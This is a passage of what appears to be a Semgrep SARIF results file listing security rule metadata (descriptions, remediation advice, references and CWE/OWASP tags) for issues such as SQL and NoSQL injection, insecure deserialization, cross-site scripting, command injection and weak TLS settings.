Rule](https://semgrep.dev/r/solidity.security.proxy-storage-collision.proxy-storage-collision)\n - [https://blog.audius.co/article/audius-governance-takeover-post-mortem-7-23-22](https://blog.audius.co/article/audius-governance-takeover-post-mortem-7-23-22)\n","text":"Proxy declares a state var that may override a storage slot of the implementation"},"helpUri":"https://semgrep.dev/r/solidity.security.proxy-storage-collision.proxy-storage-collision","id":"solidity.security.proxy-storage-collision.proxy-storage-collision","name":"solidity.security.proxy-storage-collision.proxy-storage-collision","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.proxy-storage-collision.proxy-storage-collision"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","id":"kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","name":"kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call."},"help":{"markdown":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","id":"cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","name":"cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","id":"python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","name":"python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"the `errors` argument to Popen is only available on Python 3.6+"},"help":{"markdown":"the `errors` argument to Popen is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen1)\n","text":"the `errors` argument to Popen is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen1","id":"python.lang.compatibility.python36.python36-compatibility-Popen1","name":"python.lang.compatibility.python36.python36-compatibility-Popen1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-Popen1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'."},"help":{"markdown":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup)\n - [https://tedboy.github.io/flask/generated/generated/flask.Markup.html](https://tedboy.github.io/flask/generated/generated/flask.Markup.html)\n","text":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","id":"python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","name":"python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","id":"go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","name":"go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","id":"python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","name":"python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"help":{"markdown":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution)\n - [https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186](https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186)\n","text":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","id":"python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","name":"python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.knex-sqli.knex-sqli)\n - [https://knexjs.org/#Builder-fromRaw](https://knexjs.org/#Builder-fromRaw)\n - [https://knexjs.org/#Builder-whereRaw](https://knexjs.org/#Builder-whereRaw)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.knex-sqli.knex-sqli","id":"javascript.aws-lambda.security.knex-sqli.knex-sqli","name":"javascript.aws-lambda.security.knex-sqli.knex-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.knex-sqli.knex-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Slack Webhook detected"},"help":{"markdown":"Slack Webhook detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-slack-webhook.detected-slack-webhook)\n - [https://api.slack.com/messaging/webhooks](https://api.slack.com/messaging/webhooks)\n","text":"Slack Webhook detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-slack-webhook.detected-slack-webhook","id":"generic.secrets.security.detected-slack-webhook.detected-slack-webhook","name":"generic.secrets.security.detected-slack-webhook.detected-slack-webhook","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-slack-webhook.detected-slack-webhook"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","id":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","name":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","id":"javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","name":"javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Property decoded from JWT token without verifying and cannot be trustworthy."},"help":{"markdown":"Property decoded from JWT token without verifying and cannot be trustworthy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property)\n - [https://pragmaticwebsecurity.com/articles/oauthoidc/localstorage-xss.html](https://pragmaticwebsecurity.com/articles/oauthoidc/localstorage-xss.html)\n","text":"Property decoded from JWT token without verifying and cannot be trustworthy."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","id":"typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","name":"typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set."},"help":{"markdown":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.create-with.create-with)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_create_with.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_create_with.rb)\n - [https://groups.google.com/g/rubyonrails-security/c/M4chq5Sb540/m/CC1Fh0Y_NWwJ](https://groups.google.com/g/rubyonrails-security/c/M4chq5Sb540/m/CC1Fh0Y_NWwJ)\n","text":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.create-with.create-with","id":"ruby.lang.security.create-with.create-with","name":"ruby.lang.security.create-with.create-with","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.create-with.create-with"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here."},"help":{"markdown":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","id":"python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","name":"python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks."},"help":{"markdown":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.file-access-before-action.file-access-before-action)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files](https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files)\n","text":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","id":"cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","name":"cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","properties":{"precision":"very-high","tags":["CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.file-access-before-action.file-access-before-action"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3."},"help":{"markdown":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3.\n\n<b>References:</b>\n - 